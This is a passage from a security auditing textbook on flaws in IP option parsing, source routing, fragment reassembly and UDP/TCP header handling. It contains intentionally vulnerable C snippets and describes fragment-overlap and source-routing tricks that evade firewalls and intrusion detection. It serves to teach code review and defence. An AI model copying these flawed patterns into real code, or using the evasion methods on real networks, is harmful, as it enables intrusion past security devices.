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40 bytes of IP options can be appended to an IP header (making the maximum total 

IP header size 60 bytes). 

Note 

The header length field is 4 bits and represents the IP header's length in 32-bit words. 

So the maximum value it can have is 0x0F (or 15), which multiplied by 4 gives 60. 

 

Before you look at what IP options are available, here's the basic structure of an IP 

option: 

struct ip_options { 

    unsigned char option; 

    unsigned char optlen; 

    unsigned char data[0]; 

}; 

 

An IP option is typically composed of a one-byte option type specifying what the 

option is, a one-byte length field, and a variable-length data field. All options have 

this format (except two, explained shortly in this section). 

Note 

The option byte is actually composed of three fields, as shown: 

struct optbyte { 

    unsigned char copied:1; 

    unsigned char class:2; 

    unsigned char option:5; 

}; 

 

The top bit indicates whether the option is copied into each fragment (if 

fragmentation occurs), and the next two bits indicate what class the IP option is. RFC 

791 (www.ietf.org/rfc/rfc0791.txt?number=) lists these available options: 

0 - Control 

1 - Reserved for future use 

2 - Debugging and measurement 

3 - Reserved for future use 

 

http://www.ietf.org/rfc/rfc0791.txt?number=791
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IANA gives a complete list of the classes each option belongs to 

(www.iana.org/assignments/ip-parameters). The last five bits indicate the actual 

option. 

Most implementations ignore that the option byte has several fields and just treat it as 

just a one-byte option field. 

 

Given this information, you can begin applying your knowledge from Part II(? [????.]) 

on variable relationships and type conversions to start locating potential problems. 

(The one-byte option length is related to the IP header length and, indeed, the IP total 

length.) The following sections cover some typical mistakes that can be made when 

dealing with these structures. 

Is the Option Length Sign-Extended? 

The IP options field is a single byte, and it's not unusual for code processing IP options 

to store that length field in an integer, which is a larger data type. As you learned in 

Chapter 6(? [????.]), "C Language Issues," these assignments cause a promotion of 

the smaller type (byte) to the larger type (integer) to store the length value. 

Furthermore, if the length byte is treated as signed, the assignment is value 

preservingin other words, it's sign extended. This assignment can lead to memory 

corruption (such as large data copies) or incorrect advancement of a pointer cycling 

through IP options, which can have varying consequences depending on how the code 

works. You see a real-world example of this problem in "TCP Options Processing(? 

[????.])" later in this chapter; TCP options have a nearly identical structure to IP 

options. 

Is the Header Big Enough to Contain the IP Option? 

An IP option is at least two bytes, except for the "No Operation" (NOP) option and the 

"End of Options List" (EOOL, or sometimes just shortened to EOL). Many options have 

further requirements for minimum length; a source routing option needs to be at least 

three bytes, for example. Sometimes IP option processing code fails to verify that 

these minimum length requirements are met, which often leads to either reading 

undefined memory contents or possibly memory corruption due to integer boundary 

conditions. Consider the following example: 

int process_options(unsigned char *options, 

 

    unsigned long length) 

{ 

    unsigned char *ptr; 

    int optlen, opttype; 

http://www.iana.org/assignments/ip-parameters
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    for(ptr = options; length; length -= optlen, ptr += optlen){ 

        if(*ptr == IPOPT_NOP){ 

            optlen = 1; 

            continue; 

        } 

 

        if(*ptr == IPOPT_EOL) 

            break; 

 

        opttype = ptr[0]; 

        optlen = ptr[1]; 

 

        if(optlen > length) 

            goto err; 

 

        switch(opttype){ 

            ... process options ... 

        } 

    } 

 } 

 

This code cycles through options until no more are left to process. There's a slight 

problem, however; no check is done to ensure that at least 2 bytes are left in the 

buffer before the opttype and optlen values are populated. An options buffer could be 

constructed such that only one byte is left in the buffer when processing the final 

option, and the optlen byte would read out-of-bounds memory. In this situation, 

doing so probably wouldn't be useful (as the length check after the byte is read would 

ensure that the loop doesn't start skipping farther out of bounds). Code like this that 

processes specific options, however, can be quite dangerous because some options 

are modified as they are processed, and memory corruption might be possible. 

Is the Option Length Too Large? 

The variable relationship between the IP header length, IP total length, and each IP 

option length field specifies that the following must hold true: 

Offset of IP option + IP option length <= IP header length 

Offset of IP option + IP option length <= IP total length 

 

When reviewing IP options processing, you must ensure that the code guarantees this 

relationship. Failure to do so could result in the code processing uninitialized memory, 
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and cause memory corruption because some IP options require modifying data within 

the IP option itself (primarily the timestamp and source routing options). 

Does the Option Meet Minimum Size Requirements? 

As mentioned, an IP option consists of a one-byte option type and a one-byte option 

length followed by some variable-length data. The option length specifies the total 

size of the option including the length byte and type byte, so it's required to hold a 

minimum value of two. Code that processes options and doesn't enforce this 

minimum value can end up with some unique problems, as shown in the following 

code: 

int process_options(unsigned char *options, 

unsigned long length) 

{ 

    unsigned char *ptr; 

    int optlen, opttype; 

 

    for(ptr = options; length; length -= optlen, ptr += optlen){ 

        if(*ptr == IPOPT_NOP){ 

            optlen = 1; 

            continue; 

        } 

 

        if(*ptr == IPOPT_EOL) 

            break; 

 

        if(length < 2) 

            break; 

        opttype = ptr[0]; 

        optlen = ptr[1]; 

 

        if(optlen > length) 

            goto err; 

 

        switch(opttype){ 

            ... process options ... 

        } 

    } 

} 

 

This code correctly ensures that the length in the IP option isn't larger than the total 

amount of IP option bytes specified in the IP header. However, it fails to make sure it's 
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at least 2. Supplying a value of 0 for an IP option length causes this code to enter an 

infinite loop. 

Additionally, if an IP option length of 1 is given, the next option begins where the 

length byte of the current option should be. This error can also have varying 

consequences, depending on how the code following the validation failure performs 

options processing. 

Are IP Option Bits Checked? 

The IP option byte is actually composed of a number of bit fields, but most 

implementations ignore the separate fields and treat the byte as a single value. So 

any implementation that actually parses the IP option byte by masking off the option 

bits could expose itself to potential misinterpretations of an option's meaning. To 

understand the problem, take a look at this example: 

#define OPTVALUE(x) (x & 0x1F) 

 

int process_options(unsigned char *options, size_t len) 

{ 

    unsigned char *optptr, *optend = options + len; 

    unsigned char optbyte, optlen; 

 

    for(optptr = options; optptr < optend; optptr += optlen){ 

        optbyte = *optptr; 

 

        if(OPTVALUE(optbyte) == EOL) 

            break; 

 

        if(OPTVALUE(optbyte) == NOP){ 

            optlen = 1; 

            continue; 

        } 

 

        optlen = optptr[1]; 

 

        if(optlen < 2 || optptr + optlen >= optend) 

            goto err; 

 

        switch(OPTVALUE(optbyte)){ 

            case IPOPT_LSRR: 

                ... 

        } 

    } 

} 



The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 

 858 

 

The problem is that even though this code is correctly masking the option byte to get 

the lower 5 bits, the other bitfields should also be set a certain way depending on the 

option value. In fact, IP options are defined by the Internet Assigned Numbers 

Authority (IANA) by their option value as well as the other bitfield values associated 

with that option, and so ignoring other bitfields is technically a mistake. 

Note 

Interested readers can view the IANA IP Options List at 

www.iana.org/assignments/ip-parameters. 

 

To understand why this is a problem, consider a scenario where this code is in a 

firewall that is attempting to strip out source routing options (LSRR and SSRR). The 

code iterates through each option looking for the LSRR or SSRR option and then 

terminates when it sees the EOL option (0x00). However, only the bottom 5 bits are 

checked. This contrasts with how end hosts process the same optionsthey will also 

continue processing until encountering what they think is an EOL option, but end 

hosts define an EOL as an option with all 8 bits set to 0. So if the option value 0x80 is 

present in the packet, the firewall would interpret it as an EOL option, and the end 

host just assumes it's some unknown option and continues processing more option 

bytes. The result is that you could supply an IP option with the option value 0x80 with 

a valid source routing option following it, and the firewall wouldn't catch it. 

Now consider this code in a client host with the same requirementsa firewall having to 

strip out source routing options. In this case, the firewall is looking for an 8-bit source 

routing option, such as 0x89. If the value 0x09 is sent, the firewall treats it as an 

unknown option, and the end host sees it as a source route because it has masked off 

the top three bits. 

Unique Problems 

As always, lists of typical errors aren't exhaustive, as unique implementations can 

bring about unique problems. To illustrate, this section presents an example that was 

present in the Solaris 8 IP stack. 

The Solaris code for processing IP options for datagrams destined for a local interface 

had an interesting problem in the way it calculated the options length. A code snippet 

is shown: 

#define IP_VERSION 4    /* edited for brevity */ 

#define IP_SIMPLE_HDR_LENGTH_IN_WORDS 5 

 

http://www.iana.org/assignments/ip-parameters
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uint8_t 

ipoptp_first(ipoptp_t *optp, ipha_t *ipha) 

    { 

    uint32_t totallen; /* total length of all options */ 

 

    totallen = ipha->ipha_version_and_hdr_length - 

     (uint8_t)((IP_VERSION << 4) + 

         IP_SIMPLE_HDR_LENGTH_IN_WORDS); 

    totallen <<= 2; 

    optp->ipoptp_next = (uint8_t *)(&ipha[1]); 

    optp->ipoptp_end = optp->ipoptp_next + totallen; 

    optp->ipoptp_flags = 0; 

    return (ipoptp_next(optp)); 

} 

 

This code treats the first two fields of the IP header as a single field with two 

components, which isn't uncommon, as both fields occupy four bits in the same byte. 

However, when the code obtains the IP header length from this byte, it does so by 

subtracting the standard IP version value (which is 4, and because it occupies the 

high four bits in this byte, 0x40) from the byte, as well as the static value 

IP_SIMPLE_HDR_LENGTH_IN_WORDS, defined elsewhere as 5. In essence, the developer 

assumes that subtracting the static value 0x45 from the first byte of the IP header will 

leave you with the size of the IP options trailing the basic header. Not masking off the 

version field is a dangerous practice though; what if the IP version is 15 (0xF)? The 

code's calculation could erroneously conclude that 744 bytes worth of IP options are 

appended to the IP header! Of course, a sanity check earlier in the code ensures that 

the size of the packet received is at least the size specified in the total length and 

header length fields. However, this other sanity check is done differentlyit does mask 

off the header length field correctly, so this mistake can lead to processing random 

bytes of kernel memory (and certain IP options can be used to corrupt kernel 

memory). Alternatively, setting the IP version to 0 (or any value less than 4), causes 

the option length calculation to yield a negative result! This result causes a kernel 

crash because the IP checksum is validated before IP options are processed, so the 

code checksums a large amount of memory and eventually tries to access a location 

out of bounds. 

Note 

Actually, an examination of the code shows that an IP version of 0 causes an 

underflow but does not result in a large checksum. However, the code shown is from 

an updated version of Solaris. Earlier versions performed a very large checksum if the 

IP version was 0, 1, 2, or 3. 
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IP packets with an incorrect version probably aren't routed. Even if they are, they 

wouldn't make it through some earlier processing code in the Solaris IP stack. 

However, Solaris by default processes IP packets encapsulated in IP packets if the 

inner IP packet has the same source and destination as the outer IP packet. In this 

case, the inner packet is delivered locally, and the version is never verified on the 

inner IP packet. Again, earlier versions of Solaris were vulnerable to this attack but 

sanity checks are now performed on the version of encapsulated IP packets. 

 

 

Source Routing 

IP is a connectionless protocoldatagrams can be routed to a destination in any way 

that intermediate routing devices see fit. The source routing options give the sender 

some control over the path a packet takes. There are two kinds of options: loose 

source and record route (LSRR) and strict source and record route (SSRR). Both 

contain a list of IP addresses the packet should travel through on its way to the 

destination. 

The SSRR option provides the exact list of routers the packet should traverse when it 

makes its way from the source to the destination. These routers have to be directly 

connected to each other, and the path can't omit any steps. This option is fairly 

impractical because of the maximum size of the IP header; a packet could specify only 

nine steps in a path, which isn't many. 

The LSRR option, however, simply lists the routers the packet should pass through on 

its way to the destination. These routers don't have to be directly connected, and the 

packet can pass through other routers as it follows the path outlined in the option. 

This option is more flexible because it allows the intermediate routers to figure out the 

path to the each subsequent hop on the list. 

Processing 

Both source routing options contain the list of IP addresses and a pointer byte, which 

specifies the offset in the option where the next intermediate hop is. Here's how 

source routing options work: 

1.  The destination IP address of the IP header is set to be the first intermediate hop. 

2.  When that destination is reached, the next intermediate hop is taken out of the IP 

option and copied over the destination address, and the pointer byte is advanced 

to point to the next hop in the option 

3.  Step 2 is repeated until the final destination is reached. 
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The pointer byte is related to the option length (and to the IP header length and total 

length) because it's supposed to point inside the option, not before or after. When 

auditing code that processes source routes, you should ensure that the pointer byte 

is within the specified bounds, especially because during processing, an IP option 

often modifies bytes the pointer is pointing at. Also, like the IP option length, the 

pointer is a single-byte field, which means type conversions such as the following 

could be performed on it: 

char *optionbytes; 

int offset; 

 

offset = optionbytes[2]; 

 

Code auditors need to be aware of possible sign extensions that could cause the offset 

integer to take on a negative value and have the offset point into a previous option, 

the IP header itself, or before it somewhere in memory. Such an invalid access can 

have serious consequences, including memory corruption, unexpected packet 

rerouting, or invalid memory access. 

Additionally, it is quite easy for developers to forget to adequately validate the length 

of routing options when constructing code designed to handle them, which can lead to 

accessing memory out of bounds. This error is especially significant for source routing 

options because the offset byte is often modified during options processing, when it's 

updated to point to the next element in the list. 

To give you an idea of some of the options processing bugs that have occurred in 

real-world applications in the past, consider this. Several years ago, a contumacious 

researcher working at NAI named Anthony Osborne discovered a vulnerability in the 

Windows IP stack related to an invalid source routing pointer. Windows hosts with 

multiple interfaces are normally configured to reject source routed packets. It turned 

out, however, that setting the pointer past the option allowed the source route to be 

processed. With a carefully crafted packet, an attacker could leverage multihomed 

Windows systems to participate in source routing attacks on firewalls. (Details of this 

bug are available at www.securityfocus.com/bid/646/info.) You will see in Chapter 

15(? [????.]) that source routing is especially significant for attacking firewalls, 

primarily because source routed packets have one of their most basic attributes 

altered at each IP address in the option listthe destination address. 

Fragmentation 

As you have seen, IP datagrams can have a maximum size of 64KB. (The total length 

field is 16 bits, so the maximum size it can specify is 65535 bytes.) In practice, 

however, physical interfaces attached to routers and endpoints often impose much 

more limited size restrictions because they can send only fairly small frames across 

http://www.securityfocus.com/bid/646/info
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the network. This size restriction is dictated by what type of physical interface is 

sending the frame. The consequence of physical interface size restrictions is that IP 

datagrams can be generated for transmissions that are too large to be sent across the 

physical network, or IP datagrams can arrive on one interface of a router that are too 

large to pass across to another interface. To help deal with this problem, the IP 

protocol allows fragmenting large datagrams into smaller pieces so that they can be 

sent across any medium, regardless of its maximum transmission unit (MTU). This 

mechanism is called IP fragmentation. 

Fragmenting an IP datagram involves dividing a large datagram into smaller chunks 

(fragments) that are suitable for transmission. Each fragment contains a payload that 

constitutes some portion of the original datagram, and all fragments are transmitted 

separately. They are then combined (reassembled) at the destination host to 

re-create the original datagram. In addition to the sending host fragmenting a 

datagram, any intermediate routing hop can fragment a datagram (or fragment a 

fragment of a datagram) to be able to send it on to the destination host. No 

intermediate hops perform reassembly, however; that task is left up to the 

destination host. 

Note 

Actually, arbitrary routers that IP packets are traversing are unable to perform 

reassembly because IP packets aren't required to arrive at a destination via the same 

route. Therefore, there's no guarantee that each fragment will pass through a certain 

router. The exception, of course, is when fragments arrive at the network the 

destination host is a part of, where it's quite common to have firewalls and IPSs or 

IDSs perform a virtual reassembly of the received fragments to ensure that someone 

isn't using fragmentation to try to sneak illegal traffic through the firewall. 

 

 

Basic IP Fragment Processing 

Fragmenting an IP packet is fairly straightforward. You split the data in a large IP 

packet into several smaller fragments. Each fragment is sent in a separate IP packet 

with its own IP header. This fragment looks the same as the original IP header, except 

for a few variables that tell the end host how to reassemble the fragment. The end 

host can tell which incoming fragments belong to the same original datagram because 

they all share the same IP ID (among other attributes). 

Specifically, each fragment for a datagram has the following fields in common: IP ID, 

source IP address, destination IP address, and IP protocol. A few fields are used to 

track how to put the fragments back together. First, if the MF ("more fragments") flag 

in the fragment offset field is set, the end host should expect more fragments to 

arrive for the datagram that have data beyond the end of the current fragment. To 
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put it another way, if a received fragment has data starting at offset 128 from the 

original datagram and finishing at offset 256 and the MF bit is set for the fragment, 

then another fragment should arrive containing data at an offset of 256 or higher. The 

last fragment doesn't have the MF flag set, which tells the end host the fragment 

represents the end of the original IP datagram. 

Each fragment sets the fragment offset field to indicate where in the reassembled 

datagram the data from this fragment should appear. The offset field is multiplied by 

8 to find out where in the completed datagram this fragment's payload should appear. 

So if the offset field is set to 1, the payload should appear 8 bytes into the completed 

datagram when it's reassembled. If the offset field is 2, the payload appears 16 bytes 

into the completed datagram, and so on. 

Finally, the total length field in the IP header is changed to represent the fragment's 

length. The end host determines the real total length of the original datagram by 

waiting until it's seen all the fragments and pieced them all together. 

To better understand where fragmentation might be used, consider the case where a 

router needs to fragment an IP datagram to send it over one of the networks it's part 

of, because the datagram is larger than the outgoing interface's MTU. The datagram 

is 3,500 bytes and the outgoing interface's MTU is 1,500 bytes, so the maximum 

amount of data that can be transmitted in each packet is 1,480 bytes (because the IP 

header is a minimum of 20 bytes). This datagram is split up into four smaller IP 

fragments, and they are sent over the network separately, as shown in Figure 14-2. 

Figure 14-2. IP fragmentation 

[View full size image] 

 
 

If all the fragments arrive at the destination IP address, the end host reassembles 

them into the original datagram. If any fragment doesn't make it, the whole datagram 

is discarded, and the source host is free to try to send the datagram again. 

Pathological Fragment Sets 

images/14ssa02_alt.jpg
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A normal set of fragments generally looks like Figure 14-2. All fragments except for 

the final one have the MF flag set. The IP offsets are laid out contiguously so that 

every value from 0 to the end of the final fragment is assigned data. A few subtle 

attacks can be performed against IP fragment reassembly code by deviating from the 

expected layout. The following sections describe these attacks. 

Data Beyond the End of the Final Fragment 

The final fragment of a datagram queue has a nonzero offset, and the MF bit is clear. 

This fragment is supposed to contain data located at the end of the datagram, so it 

should have the highest IP offset of all the fragments. 

Attackers could send fragments in an order that puts the final fragment in the middle 

or beginning of the set of fragments. If the reassembly code takes certain shortcuts in 

calculating the datagram's total length, this reordering can lead to incomplete sets of 

fragments being reassembled in ways advantageous to the attackers. Consider the 

following reassembly code: 

/*     Add a fragment to the queue 

 

    Returns: 

         0: added successfully, queue incomplete 

         1: added successfully, queue complete 

*/ 

 

int fragment_add(struct fragment_chain *chain, 

    struct packet *pkt) 

{ 

    struct iphdr *iph = pkt->ip_header; 

    int offset, end, length; 

 

    offset = ntohs(iph->frag_offset) * 8; 

    end = offset + ntohs(iph->tot_len)  iph->hl << 2; 

 

    length = add_to_chain(chain, pkt->data, offset, end); 

 

    chain->datalength += length; 

 

    if(!(iph->flags & IP_MF))      /* Final Fragment  

                                     MF bit clear */ 

        return chain->datalength == end; 

 

    return 0; 

} 
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For this example, assume that the add_to_chain() function returns the amount of 

data that was added to the queue, not including overlapped sections (discussed in 

"Overlapping Fragments" later in this chapter). When a final fragment is received, its 

end (offset + length) is compared with the total amount of bytes received for the 

datagram. If the final fragment is received last, these numbers should be equal, and 

the reassembly code knows it has completed reassembly of this datagram. To see 

how this code is intended to function, look at this valid normal set of fragments. Say 

you send this fragment first: 

Offset: 0 | MF: Set | Len: 16 

 

The data is added to the chain, and chain->datalength is incremented to 16. MF is set, 

indicating more fragments, so the function returns 0 to indicate that reassembly isn't 

finished. Say you send this fragment next: 

Offset: 16 | MF: Set | Len: 16 

 

This data is added to the chain, and chain->datalength is incremented to 16. Again, 

reassembly isn't complete because there are more fragments to come. Now say you 

send the final fragment: 

Offset: 32 | MF: Clear | Len: 16 

 

When the preceding code processes this fragment, it calculates an offset of 32, an 

end of 48, and a length of 16. chain->datalength is incremented to 48, which is equal 

to end. It's the final fragment because IP_MF is clear, and chain-> datalength is equal 

to end. The IP stack knows it has finished reassembly, so it returns a 1. Figure 14-3 

shows the set of fragments. 

Figure 14-3. IP fragmentation reassembly 

 

 

Now walk through a malicious set of fragments. This is the first fragment: 

Offset: 32 | MF: Set | Len: 16 
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The data is added to the chain, and chain->datalength is incremented to 16. MF is set, 

indicating there are more fragments. Next, the final fragment is sent but placed 

before the first fragment: 

Offset: 16 | MF: Clear | Len: 16 

 

The data is added to the chain, and chain->datalength is incremented to 32. MF is 

clear, indicating it's the last fragment, and end is 32, which is equivalent to 

chain->datalength. Therefore, the IP stack believes that reassembly is complete, 

even though no data for offsets 0 to 16 has been sent in the set of fragments. The 

malicious set of fragments looks like Figure 14-4. 

Figure 14-4. Malicious IP fragments 

 

 

The result of this reassembly depends on the implementation of the rest of the IP 

stack. Some consequences could include the following: 

 Including uninitialized kernel memory in the reassembled packet 

 Interpreting protocol headers incorrectly (because the fragment containing 

the next protocol header is missing) 

 Integer miscalculations based on attributes of the fragments that lead to 

memory corruption or reading uninitialized kernel memory 

Most important, any firewall or IDS/IPS this fragment chain traversed would interpret 

the fragments completely differently and make incorrect decisions about whether to 

allow or deny it (unless these devices had the same bug). 

Multiple Final Fragments 

Another mistake fragmentation reassembly applications make is that they don't deal 

with multiple final fragments correctly. Applications often assume that only one 

fragment of a fragment queue appears with the MF bit clear. This assumption can lead 

to broken logic for deciding when a fragment queue is complete and can be passed up 

to the next layer (usually TCP or UDP). Usually, the result of a bug like this is a 

fragment queue being deemed complete when it has gaps from the datagram that still 

haven't arrived. The advantage this type of bug gives an attacker depends on the 

application. For OS protocol stacks, being able to assemble a datagram with holes in 
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it is quite useful to attackers because any firewall or IDS performing virtual 

reassembly interprets the datagram differently to the end host. 

For example, an IP datagram containing a TCP segment is fragmented and sent to a 

host through a firewall. Imagine that a bug exists whereby it can be marked as being 

complete when it's missing data at offset 0 (the beginning of the TCP header). With 

this knowledge, attackers could send fragments that exploit the bug as well as a 

trailing bogus fragment at offset 0. This bogus fragment which can be set with 

different TCP ports to pass a firewall's rule set. Because the firewall in front of the end 

host evaluates whether the fragment set is allowed based on the 0-offset fragment, it 

will make a policy decision based on the one part of the fragment queue that the 

destination host is going to completely ignore. As a resut, an unauthorized connection 

or block of data could be sent through the firewall. If the application containing a 

reassembly bug is a firewall or other security product instead of a host OS IP stack, 

the implications can be much worse, as this bug allows attackers to bypass firewall 

rules to reach any destination host that the firewall is supposed to protect (depending 

on the constraints of the vulnerability). 

Overlapping Fragments 

As you know, each IP fragment provides a portion of a complete datagram, but how 

to handle overlapping fragments hasn't been mentioned yet. The IP specification 

vaguely says that fragments can contain overlapping data ranges, which in retrospect, 

was probably a bad move. Figure 14-5 shows an example of overlapping fragments. 

Figure 14-5. Overlapping fragments 

[View full size image] 

 
 

So are overlapping fragments a potential security issue? Absolutely! They add a 

degree of complexity to the requirements that might not seem important at first, but 

they have actually led to dozens of security vulnerabilities. Two main problems come 

into play when dealing with overlapping fragments, which are: 

images/14ssa05_alt.jpg
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 Implementation flaws in fragment queue maintenance, leading to crashes or 

potentially memory corruption 

 Ambiguity about which data should be honored 

As discussed in Chapter 7(? [????.]), "Program Building Blocks," a lot of simple errors 

based on managing lists are quite relevant to IP fragmentation because lists are used 

in nearly all IP implementations to track fragments for a datagram. In Chapter 7(? 

[????.]), you saw a famous example of a vulnerability (dubbed "teardrop") that 

existed in a number of host IP stacks. The basis of this vulnerability was a logic error 

in which two fragments are sent. The first provides some arbitrary part of the 

datagram, and the second provides data at the same offset as the first (or at some 

offset partway through the data that was provided in the first one), but finishing 

before the end of the first one (that is, the second datagram was completely 

encompassed by the first). This error leads to a size calculation error that results in 

attempting to access memory out of bounds. 

The IP RFC (RFC 791) isn't much help in understanding how to deal with data overlaps. 

It gives a sample algorithm for handling reassembly and indicates that if two or more 

overlapping fragments contain the same data, the algorithm uses the "more recently 

arrived data." However, it doesn't specify which data an IP stack should favor: data 

received in the original fragment or data supplied in successive fragments. So 

software vendors have implemented the algorithm in different ways. 

Consequently, if a firewall or IDS/IPS interprets the data stream differently from the 

destination host, this difference opens the potential to sneak data past a security 

device that should detect or block it. This is especially critical when the data being 

overlapped includes protocol headers because they might affect whether a packet 

filter or firewall decides to block or forward the packet. To help you understand this 

problem, here's a quick outline of the key differences in major fragmentation 

implementations. Figure 14-6 shows a nuance of the BSD reassembly code. 

Figure 14-6. BSD overlap semantics 

[View full size image] 
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Table 14-1 shows the results of reassembling the packet set in Figure 14-6. 

Table 14-1. BSD Overlap Semantics 

Result 

OS Result 

BSD GET /cgi-bin/phf 

Linux GET XXXXXXXXXXXXXXXX 

Windows GET /cgi-binXXXXXXXXXXXX 

Solaris GET /cgi-binXXXXXXXXXXXX 

 

BSD ostensibly honors data it receives first, but this isn't what happens in practice. 

When BSD receives a new fragment, it left-trims the beginning of the fragment to 

honor previously received data, but after doing that, it accepts all the data from the 

new fragment. Windows and Solaris appear to honor the chronologically first data 

properly, but this isn't quite what occurs behind the scenes. Linux behaves similarly 

to BSD, but it honors a new fragment in favor of an old one if the new fragment has 

the same offset as the old one. Figure 14-7 shows a set of packets that isolate the 

Linux behavior. 

Figure 14-7. Linux overlap semantics 

[View full size image] 

 

 

Table 14-2 shows the results of the Linux reassembly code. It performs similarly to 

BSD reassembly algorithms, except it honors the data in a new fragment at the same 

offset as a previously received one. 

Table 14-2. Linux Overlap Semantics Result 

OS Result 

BSD GET XXXXXXXXXXXXXXXX 
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Table 14-2. Linux Overlap Semantics Result 

OS Result 

Linux GET /cgi-bin/phf 

Windows GET XXXXXXXXXXXXXXXX 

Solaris GET XXXXXXXXXXXXXXXX 

 

Figure 14-8 shows one more test case that isolates Windows behavior. 

Figure 14-8. Windows overlap semantics 

[View full size image] 

 

 

Table 14-3 shows that most implementations actually discard a fragment that's 

completely subsumed by a following fragment because they attempt to preserve old 

data by adjusting the beginning and end of fragments as they come in. As you can see, 

because there's some variation in reassembly algorithms, any device doing virtual 

reassembly interprets overlapped data segments the same way as a destination host 

in some situations but not in others. 

Table 14-3. Windows Overlap Semantics Result 

OS Result 

BSD GET XXXXXXXX/phf HTTP/1.0 

Linux GET XXXXXXXX/phf HTTP/1.0 

Windows GET /cgi-bin/phf HTTP/1.0 

Solaris GET /cgi-binXXXXXXXXP/1.0 

 

Note 
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You might think that because of this discrepancy, devices doing reassembly for 

security analysis are guaranteed to not work correctly when dealing with different 

kinds of hosts, but this isn't necessarily the case. Some implementations emulate the 

protocol stack of the OS for which they're reassembling traffic. Others might 

authoritatively rewrite packets into an unambiguous set of fragments or simply 

reassemble the datagram. Others might reject fragment queues containing any sort 

of overlap, which is usually a sign of foul play. This is exactly what Checkpoint 

Firewall-1's virtual reassembly layer does. 

 

 

Idiosyncrasies 

There are many subtle differences in how implementations handle the corner cases of 

fragmentation reassembly. For example, some hosts require every fragment except 

the last to be a multiple of 8 bytes. Some hosts accept 0-length fragments and queue 

them, and some don't. You've seen that hosts handle overlapping of fragmentation in 

different ways, and you could come up with creative test cases that just about every 

implementation reassembles slightly differently. Another big point of variation is the 

choice of timeouts and the design of data structures necessary to temporarily hold on 

to fragments until they are collected and ready to be reassembled. 

These small differences add up to potential vulnerabilities when there's a security 

device between the attacker and the end host. Say you have an IDS watching the 

network for signs of attack. An attacker could send a strange set of fragments that the 

IDS sees as innocuous, but the end host reassembles them into a real attack. As you 

discover in Chapter 15(? [????.]), the same kind of ambiguity can come into play 

when attacking firewalls, although the attacks are less straightforward. 

8.1.3 User Datagram Protocol 

User Datagram Protocol (UDP) is a connectionless transport-layer protocol that 

rests on top of IP. As you can probably tell from the header shown in Figure 14-9, it's 

intended to be a lightweight protocol. It adds the abstraction of ports, which allows 

multiple clients and servers to multiplex data using the same client-server IP address 

pair, and adds optional checksums for UDP data to verify that a packet hasn't been 

corrupted en route. Beyond that, it provides none of the services that TCP does, such 

as flow control and reliable delivery. UDP is typically used for protocols that require 

low latency but can tolerate losses. The most popular use of UDP is for Domain Name 

System (DNS), which provides name resolution for the Internet. 

Figure 14-9. UDP header 
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The following list describes the header fields in a UDP packet: 

 Source port (16 bits) This field is the client source port. The source port, 

destination port, source IP address, and destination IP address combine to 

uniquely identify a connection. 

Note 

UDP is really a connectionless protocol and each UDP record is unassociated 

from any other previously sent records at the transport layer. However, many 

IP processing applications (such as firewalls) need to associate UDP packets 

with each other in order to make accurate policy decisions. 

 

 Destination port (16 bits) This field is the port the packet is destined for. It's 

combined with the source port, source IP address, and destination IP address 

to uniquely identify a connection. 

 Checksum (16 bits) This field is a checksum of the UDP header and all data 

contained in the UDP datagram. Several other fields are combined to calculate 

the checksum, including the source and destination IP addresses from the IP 

header. This field can optionally be set to the special value 0 to indicate that a 

checksum hasn't been calculated. 

 Length (16 bits) This field is the length of the UDP header and data. 

Basic UDP Header Validation 

The UDP header is fairly straightforward, but there's still room for processing code to 

misstep, as described in the following sections. 

Is the UDP Length Field Correct? 

The length field specifies the length of the UDP header and the data in the datagram. 

You've seen situations in which processing code ignores this field and instead honors 

lengths coming from the IP header or device driver. If the length field is too large, it 

could lead to numeric overflow or underflow situations. Likewise, the minimum value 

for the UDP length field is 8 bytes. If the field is below 8 bytes and it's honored, a 
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numeric underflow situation could occur. A length of 8 bytes means there's no UDP 

data in the packet. 

Is the UDP Checksum Correct? 

The UDP checksum is optional. If it's set to zero, the checksum is not calculated. 

However, if it's set and the checksum is incorrect, end hosts likely disregard the 

packet. Any system attempting to interpret UDP packets should be aware of these 

possible outcomes. 

UDP Issues 

UDP can be spoofed easily, unlike TCP, where establishing a connection with a forged 

source IP address is much harder. UDP data can also be sent over broadcast and 

multicast addresses that aren't appropriate for TCP data. The bottom line is that 

sensitive code shouldn't rely on source IP addresses for purposes of authentication 

with UDP. Firewalls and packet filters can find UDP particularly troublesome for this 

reason. 

 

8.1.4 Transmission Control Protocol 

Transmission Control Protocol (TCP) is a transport-layer protocol that sits on top 

of IP. It's a mechanism for ensuring reliable and accurate delivery of data from one 

host to the other, based on the concept of connections. A connection is a 

bidirectional communication channel between an application on one host and an 

application on another host. Connections are established and closed by exchanging 

special TCP packets. 

The endpoints see the TCP data traversing the connection as streams: ordered 

sequences of contiguous 8-bit bytes of data. The TCP stack is responsible for breaking 

this data up into packet-sized pieces, known as segments. It's also responsible for 

making sure the data is transferred successfully. The data sent by a TCP endpoint is 

acknowledged when it's received. If a TCP endpoint doesn't receive an 

acknowledgement for a chunk of data, it retransmits that data after a certain time 

interval. 

TCP endpoints keep a sliding window of expected data, so they temporarily store 

segments that aren't the immediate next piece of data but closely follow the expected 

segment. This window allows TCP to handle out-of-order data segments and handle 

lost or corrupted segments more efficiently. TCP also uses checksums to ensure data 

integrity. 

Auditing TCP code can be a daunting task, as the internals of TCP are quite complex. 

This section starts with the basic structure of TCP packet headers and the general 

31051536.html
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design of the protocol, and then gives you a few examples that should illustrate where 

things can go wrong. The TCP header structure is shown in Figure 14-10. 

Figure 14-10. TCP header 

 

 

The following list describes the fields in more detail: 

 Source port (16 bits) This field indicates the TCP source port. It is used in 

conjunction with the destination port, source IP address, and destination IP 

address to uniquely identify a connection. 

 Destination port (16 bits) This field is the port the packet is destined for. This 

field combined with the source port, source IP address, and destination IP 

address to uniquely identify a connection. 

 Sequence number (32 bits) This field identifies where in the stream the data in 

this packet belongs, starting at the first byte in the segment. The sequence 

number is randomly seeded during connection establishment, and then 

incremented by the amount of data sent in each packet. 

 Acknowledgement number (32 bits) This field contains the sequence number 

the endpoint expects to receive from its peer. It's the sequence number of the 

last byte of data received from the remote host plus one. It indicates to the 

remote peer which data has been received successfully so that data lost en 

route is noticed and retransmitted. 

 Data offset (4 bits) This field indicates the size of the TCP header. Like IP, a 

TCP header can contain a series of options after the basic header, and so a 

similar header size field exists within the TCP header to account for these 

options. Its value is 5 if there are no options specified. 

 Reserved (4 bits) This field is not used. 

 Flags (8 bits) Several flags can be set in TCP connections to indicate 

information about the TCP packet: whether it's high priority, whether to ignore 

